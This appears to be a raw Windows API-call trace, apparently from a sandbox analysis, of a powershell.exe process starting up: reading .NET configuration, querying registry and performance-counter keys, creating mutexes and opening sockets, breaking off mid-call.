[0064.088] CoTaskMemFree (pv=0x18b460) [0064.091] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.091] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.091] CoTaskMemFree (pv=0x18b460) [0064.094] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.094] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.094] CoTaskMemFree (pv=0x18b460) [0064.096] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0064.096] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.096] CoTaskMemFree (pv=0x18b460) [0064.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c67d4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0064.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c67d3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0064.535] CoTaskMemAlloc (cb=0x20c) returned 0x12d520 [0064.535] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12d520, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0064.536] CoTaskMemFree (pv=0x12d520) [0064.536] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c67d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0064.541] GetCurrentProcess () returned 0xffffffffffffffff [0064.541] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d488 | out: TokenHandle=0x1c67d488*=0x344) returned 1 [0064.544] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c67d0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0064.544] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c67d530 | out: lpFileInformation=0x1c67d530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0064.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c67d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0064.545] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c67d4e0 | out: lpFileInformation=0x1c67d4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0064.546] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c67cec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0064.546] SetErrorMode (uMode=0x1) returned 0x1 [0064.546] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x39c [0064.546] GetFileType (hFile=0x39c) returned 0x1 [0064.546] SetErrorMode (uMode=0x1) returned 0x1 [0064.546] GetFileType (hFile=0x39c) returned 0x1 [0064.547] GetFileSize (in: hFile=0x39c, lpFileSizeHigh=0x1c67d4d8 | out: lpFileSizeHigh=0x1c67d4d8*=0x0) returned 0x65b3 [0064.547] ReadFile (in: hFile=0x39c, lpBuffer=0x360efd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67d3f8, lpOverlapped=0x0 | out: lpBuffer=0x360efd8*, lpNumberOfBytesRead=0x1c67d3f8*=0x1000, lpOverlapped=0x0) returned 1 [0064.555] ReadFile (in: hFile=0x39c, lpBuffer=0x360efd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67d0d8, lpOverlapped=0x0 | out: lpBuffer=0x360efd8*, lpNumberOfBytesRead=0x1c67d0d8*=0x1000, lpOverlapped=0x0) returned 1 [0064.556] ReadFile (in: hFile=0x39c, lpBuffer=0x360efd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67cf28, lpOverlapped=0x0 | out: lpBuffer=0x360efd8*, lpNumberOfBytesRead=0x1c67cf28*=0x1000, lpOverlapped=0x0) returned 1 [0064.556] ReadFile (in: hFile=0x39c, lpBuffer=0x360efd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67cf28, lpOverlapped=0x0 | out: lpBuffer=0x360efd8*, lpNumberOfBytesRead=0x1c67cf28*=0x1000, lpOverlapped=0x0) returned 1 [0064.556] ReadFile (in: hFile=0x39c, lpBuffer=0x360efd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67cf28, lpOverlapped=0x0 | out: lpBuffer=0x360efd8*, lpNumberOfBytesRead=0x1c67cf28*=0x1000, lpOverlapped=0x0) returned 1 [0064.559] CloseHandle (hObject=0x39c) returned 1 [0064.560] CoTaskMemAlloc (cb=0x20c) returned 0x12d520 [0064.560] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12d520, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0064.560] CoTaskMemFree (pv=0x12d520) [0064.560] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c67d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0064.561] GetCurrentProcess () returned 0xffffffffffffffff [0064.561] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d6e8 | out: TokenHandle=0x1c67d6e8*=0x39c) returned 1 [0064.561] GetCurrentProcess () returned 0xffffffffffffffff [0064.561] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d6e8 | out: TokenHandle=0x1c67d6e8*=0x348) returned 1 [0064.562] GetCurrentProcess () returned 0xffffffffffffffff [0064.562] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d488 | out: TokenHandle=0x1c67d488*=0x3a0) returned 1 [0064.562] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1c67d530 | out: lpFileInformation=0x1c67d530*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0064.563] GetCurrentProcess () returned 0xffffffffffffffff [0064.563] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d6e8 | out: TokenHandle=0x1c67d6e8*=0x358) returned 1 [0064.563] GetCurrentProcess () returned 0xffffffffffffffff [0064.563] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d6e8 | out: TokenHandle=0x1c67d6e8*=0x35c) returned 1 [0064.572] GetCurrentProcess () returned 0xffffffffffffffff [0064.572] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d368 | out: TokenHandle=0x1c67d368*=0x360) returned 1 [0064.590] GetCurrentProcess () returned 0xffffffffffffffff [0064.590] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d368 | out: TokenHandle=0x1c67d368*=0x364) returned 1 [0064.596] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x368 [0064.596] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x36c [0064.607] GetCurrentProcess () returned 0xffffffffffffffff [0064.607] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d338 | out: TokenHandle=0x1c67d338*=0x370) returned 1 [0064.611] GetCurrentProcess () returned 0xffffffffffffffff [0064.611] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d338 | out: TokenHandle=0x1c67d338*=0x390) returned 1 [0064.618] GetCurrentProcess () returned 0xffffffffffffffff [0064.618] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d278 | out: TokenHandle=0x1c67d278*=0x3b0) returned 1 [0064.622] GetCurrentProcess () returned 0xffffffffffffffff [0064.622] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d278 | out: TokenHandle=0x1c67d278*=0x3b4) returned 1 [0064.625] GetCurrentProcess () returned 0xffffffffffffffff [0064.625] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67d8b8 | out: TokenHandle=0x1c67d8b8*=0x3b8) returned 1 [0064.627] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67b978 | out: phkResult=0x1c67b978*=0x3bc) returned 0x0 [0064.627] RegQueryValueExW (in: hKey=0x3bc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c67b8fc, lpData=0x0, lpcbData=0x1c67b8f8*=0x0 | out: lpType=0x1c67b8fc*=0x1, lpData=0x0, lpcbData=0x1c67b8f8*=0xe) returned 0x0 [0064.628] CoTaskMemAlloc (cb=0x12) returned 0x1b7b8030 [0064.628] RegQueryValueExW (in: hKey=0x3bc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c67b8cc, lpData=0x1b7b8030, lpcbData=0x1c67b8c8*=0xe | out: lpType=0x1c67b8cc*=0x1, lpData="Client", lpcbData=0x1c67b8c8*=0xe) returned 0x0 [0064.628] CoTaskMemFree (pv=0x1b7b8030) [0064.628] RegCloseKey (hKey=0x3bc) returned 0x0 [0064.633] CoTaskMemAlloc (cb=0xcd0) returned 0x1b7bc8e0 [0064.633] RasEnumConnectionsW (in: param_1=0x1b7bc8e0, param_2=0x1c67d90c, param_3=0x1c67d908 | out: param_1=0x1b7bc8e0, param_2=0x1c67d90c, param_3=0x1c67d908) returned 0x0 [0064.638] CoTaskMemFree (pv=0x1b7bc8e0) [0064.642] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c67d718 | out: lpWSAData=0x1c67d718) returned 0 [0064.647] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x408 [0064.650] setsockopt (s=0x408, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0064.650] closesocket (s=0x408) returned 0 [0064.650] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x408 [0064.651] setsockopt (s=0x408, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0064.651] closesocket (s=0x408) returned 0 [0064.653] GetCurrentProcess () returned 0xffffffffffffffff [0064.653] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67cf98 | out: TokenHandle=0x1c67cf98*=0x408) returned 1 [0064.654] GetCurrentProcess () returned 0xffffffffffffffff [0064.654] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67cf98 | out: TokenHandle=0x1c67cf98*=0x40c) returned 1 [0064.664] GetCurrentProcessId () returned 0x9e4 [0064.669] CoTaskMemAlloc (cb=0x204) returned 0x13dda0 [0064.669] GetComputerNameW (in: lpBuffer=0x13dda0, nSize=0x363dd40 | out: lpBuffer="EXB9WSP", nSize=0x363dd40) returned 1 [0064.669] CoTaskMemFree (pv=0x13dda0) [0064.670] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67d478 | out: phkResult=0x1c67d478*=0x410) returned 0x0 [0064.670] RegQueryValueExW (in: hKey=0x410, lpValueName="Library", lpReserved=0x0, lpType=0x1c67d3fc, lpData=0x0, lpcbData=0x1c67d3f8*=0x0 | out: lpType=0x1c67d3fc*=0x1, lpData=0x0, lpcbData=0x1c67d3f8*=0x1c) returned 0x0 [0064.670] CoTaskMemAlloc (cb=0x20) returned 0x1b7c1850 [0064.670] RegQueryValueExW (in: hKey=0x410, lpValueName="Library", lpReserved=0x0, lpType=0x1c67d3cc, lpData=0x1b7c1850, lpcbData=0x1c67d3c8*=0x1c | out: lpType=0x1c67d3cc*=0x1, lpData="netfxperf.dll", lpcbData=0x1c67d3c8*=0x1c) returned 0x0 [0064.670] CoTaskMemFree (pv=0x1b7c1850) [0064.670] RegQueryValueExW (in: hKey=0x410, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c67d3fc, lpData=0x0, lpcbData=0x1c67d3f8*=0x0 | out: lpType=0x1c67d3fc*=0x4, lpData=0x0, lpcbData=0x1c67d3f8*=0x4) returned 0x0 [0064.670] RegQueryValueExW (in: hKey=0x410, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c67d400, lpData=0x1c67d3fc, lpcbData=0x1c67d3f8*=0x4 | out: lpType=0x1c67d400*=0x4, lpData=0x1c67d3fc*=0x1, lpcbData=0x1c67d3f8*=0x4) returned 0x0 [0064.671] RegQueryValueExW (in: hKey=0x410, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c67d3fc, lpData=0x0, lpcbData=0x1c67d3f8*=0x0 | out: lpType=0x1c67d3fc*=0x4, lpData=0x0, lpcbData=0x1c67d3f8*=0x4) returned 0x0 [0064.671] RegQueryValueExW (in: hKey=0x410, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c67d400, lpData=0x1c67d3fc, lpcbData=0x1c67d3f8*=0x4 | out: lpType=0x1c67d400*=0x4, lpData=0x1c67d3fc*=0x137a, lpcbData=0x1c67d3f8*=0x4) returned 0x0 [0064.671] RegCloseKey (hKey=0x410) returned 0x0 [0064.672] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67d438 | out: phkResult=0x1c67d438*=0x410) returned 0x0 [0064.672] RegQueryValueExW (in: hKey=0x410, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c67d3bc, lpData=0x0, lpcbData=0x1c67d3b8*=0x0 | out: lpType=0x1c67d3bc*=0x4, lpData=0x0, lpcbData=0x1c67d3b8*=0x4) returned 0x0 [0064.672] RegQueryValueExW (in: hKey=0x410, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c67d3c0, lpData=0x1c67d3bc, lpcbData=0x1c67d3b8*=0x4 | out: lpType=0x1c67d3c0*=0x4, lpData=0x1c67d3bc*=0x3, lpcbData=0x1c67d3b8*=0x4) returned 0x0 [0064.672] RegQueryValueExW (in: hKey=0x410, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c67d3bc, lpData=0x0, lpcbData=0x1c67d3b8*=0x0 | out: lpType=0x1c67d3bc*=0x4, lpData=0x0, lpcbData=0x1c67d3b8*=0x4) returned 0x0 [0064.672] RegQueryValueExW (in: hKey=0x410, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c67d3c0, lpData=0x1c67d3bc, lpcbData=0x1c67d3b8*=0x4 | out: lpType=0x1c67d3c0*=0x4, lpData=0x1c67d3bc*=0x20000, lpcbData=0x1c67d3b8*=0x4) returned 0x0 [0064.672] RegQueryValueExW (in: hKey=0x410, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c67d3bc, lpData=0x0, lpcbData=0x1c67d3b8*=0x0 | out: lpType=0x1c67d3bc*=0x3, lpData=0x0, lpcbData=0x1c67d3b8*=0xaa) returned 0x0 [0064.672] RegQueryValueExW (in: hKey=0x410, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c67d3bc, lpData=0x3641008, lpcbData=0x1c67d3b8*=0xaa | out: lpType=0x1c67d3bc*=0x3, lpData=0x3641008*, lpcbData=0x1c67d3b8*=0xaa) returned 0x0 [0064.674] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0064.676] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1c67d370, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x414 [0064.677] VirtualQuery (in: lpAddress=0x29a0000, lpBuffer=0x1c67d368, dwLength=0x30 | out: lpBuffer=0x1c67d368*(BaseAddress=0x29a0000, AllocationBase=0x29a0000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0064.677] LocalFree (hMem=0x1b7ba6b0) returned 0x0 [0064.677] RegCloseKey (hKey=0x410) returned 0x0 [0064.679] GetVersionExW (in: lpVersionInformation=0x1c67c340*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c67c340*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0064.679] GetVersionExW (in: lpVersionInformation=0x1c67c310*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c67c310*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0064.680] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3641cb8, cbSid=0x1c67d350 | out: pSid=0x3641cb8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d350) returned 1 [0064.681] CreateMutexW (lpMutexAttributes=0x3641ec0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.682] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.701] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2edb128, cbSid=0x1c67d2b0 | out: pSid=0x2edb128*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d2b0) returned 1 [0064.701] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x390 [0064.702] ReleaseMutex (hMutex=0x390) returned 1 [0064.702] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9e4) returned 0x390 [0064.703] GetProcessTimes (in: hProcess=0x390, lpCreationTime=0x1c67d2c0, lpExitTime=0x1c67d2b8, lpKernelTime=0x1c67d2b0, lpUserTime=0x1c67d2a8 | out: lpCreationTime=0x1c67d2c0, lpExitTime=0x1c67d2b8, lpKernelTime=0x1c67d2b0, lpUserTime=0x1c67d2a8) returned 1 [0064.703] CloseHandle (hObject=0x390) returned 1 [0064.703] ReleaseMutex (hMutex=0x410) returned 1 [0064.703] CloseHandle (hObject=0x410) returned 1 [0064.704] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2edc128, cbSid=0x1c67d350 | out: pSid=0x2edc128*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d350) returned 1 [0064.704] CreateMutexW (lpMutexAttributes=0x2edc2e0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.704] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.705] ReleaseMutex (hMutex=0x410) returned 1 [0064.705] CloseHandle (hObject=0x410) returned 1 [0064.705] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2edcf48, cbSid=0x1c67d350 | out: pSid=0x2edcf48*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d350) returned 1 [0064.705] CreateMutexW (lpMutexAttributes=0x2edd100, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.705] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.705] ReleaseMutex (hMutex=0x410) returned 1 [0064.705] CloseHandle (hObject=0x410) returned 1 [0064.705] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2eddd60, cbSid=0x1c67d350 | out: pSid=0x2eddd60*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d350) returned 1 [0064.706] CreateMutexW (lpMutexAttributes=0x2eddf18, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.706] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.706] ReleaseMutex (hMutex=0x410) returned 1 [0064.706] CloseHandle (hObject=0x410) returned 1 [0064.706] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2edeb70, cbSid=0x1c67d350 | out: pSid=0x2edeb70*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d350) returned 1 [0064.706] CreateMutexW (lpMutexAttributes=0x2eded28, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.706] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.707] ReleaseMutex (hMutex=0x410) returned 1 [0064.707] CloseHandle (hObject=0x410) returned 1 [0064.708] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2edf980, cbSid=0x1c67d300 | out: pSid=0x2edf980*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d300) returned 1 [0064.708] CreateMutexW (lpMutexAttributes=0x2edfb38, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.708] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.708] ReleaseMutex (hMutex=0x410) returned 1 [0064.708] CloseHandle (hObject=0x410) returned 1 [0064.708] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ee07a8, cbSid=0x1c67d300 | out: pSid=0x2ee07a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d300) returned 1 [0064.708] CreateMutexW (lpMutexAttributes=0x2ee0960, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.708] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.709] ReleaseMutex (hMutex=0x410) returned 1 [0064.709] CloseHandle (hObject=0x410) returned 1 [0064.709] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ee15a0, cbSid=0x1c67d300 | out: pSid=0x2ee15a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d300) returned 1 [0064.709] CreateMutexW (lpMutexAttributes=0x2ee1758, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.709] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.709] ReleaseMutex (hMutex=0x410) returned 1 [0064.710] CloseHandle (hObject=0x410) returned 1 [0064.710] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ee23a8, cbSid=0x1c67d300 | out: pSid=0x2ee23a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d300) returned 1 [0064.710] CreateMutexW (lpMutexAttributes=0x2ee2560, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.710] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.710] ReleaseMutex (hMutex=0x410) returned 1 [0064.710] CloseHandle (hObject=0x410) returned 1 [0064.710] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2ee31a8, cbSid=0x1c67d300 | out: pSid=0x2ee31a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67d300) returned 1 [0064.710] CreateMutexW (lpMutexAttributes=0x2ee3360, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0064.710] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0064.711] ReleaseMutex (hMutex=0x410) returned 1 [0064.711] CloseHandle (hObject=0x410) returned 1 [0064.715] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x410 [0064.716] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x390 [0064.716] ioctlsocket (in: s=0x410, cmd=-2147195266, argp=0x1c67d938 | out: argp=0x1c67d938) returned 0 [0064.716] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x30c [0064.717] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 